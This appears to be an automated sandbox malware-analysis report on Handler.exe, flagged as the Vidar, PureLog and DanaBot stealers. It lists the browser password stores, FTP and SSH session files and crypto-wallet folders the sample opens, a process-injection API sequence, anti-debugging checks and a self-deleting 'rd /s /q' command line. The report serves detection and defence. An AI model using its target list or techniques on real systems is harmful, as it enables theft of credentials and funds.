Code function: 1_2_00428DDA GetLogicalDriveStringsA,

1_2_00428DDA

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0041F9A3 GetSystemInfo,

1_2_0041F9A3

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Handler.exe, 00000001.00000002.2661407306.000000000143B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 0000000C.00000003.2307778429.000079D402524000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: msedge.exe, 0000000C.00000002.2397608015.00000269B6E54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Handler.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_03058131 mov edi, dword ptr fs:[00000030h]		0_2_03058131
Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_030582AE mov edi, dword ptr fs:[00000030h]		0_2_030582AE

Source: C:\Users\user\Desktop\Handler.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Handler.exe

Code function: 0_2_03058131 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_03058131

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Handler.exe

Memory written: C:\Users\user\Desktop\Handler.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\ProgramData\us0r9ri58y.exe "C:\ProgramData\us0r9ri58y.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\8q9zu" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\Handler.exe

Code function: GetLocaleInfoA,

1_2_0041F6B3

Source: C:\Users\user\Desktop\Handler.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\us0r9ri58y.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\ProgramData\us0r9ri58y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\ProgramData\us0r9ri58y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId

Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\Users\user\Desktop\Handler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\us0r9ri58y.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0042D98B EntryPoint,GetUserNameW,

1_2_0042D98B

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0041F53D GetTimeZoneInformation,

1_2_0041F53D

Source: C:\Users\user\Desktop\Handler.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.us0r9ri58y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\us0r9ri58y.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: Handler.exe, type: SAMPLE
Source: Yara match	File source: 0.2.Handler.exe.4059550.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Handler.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Handler.exe.4059550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 1.2.Handler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Handler.exe PID: 2968, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Handler.exe, 00000001.00000002.2658511630.0000000000FE0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: electrum.*
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Handler.exe, 00000001.00000002.2658511630.0000000000FE0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: exodus.*
Source: Handler.exe, 00000001.00000002.2658511630.0000000000FE0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ethereum.*
Source: Handler.exe, 00000001.00000002.2661407306.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Handler.exe, 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Handler.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Handler.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Handler.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
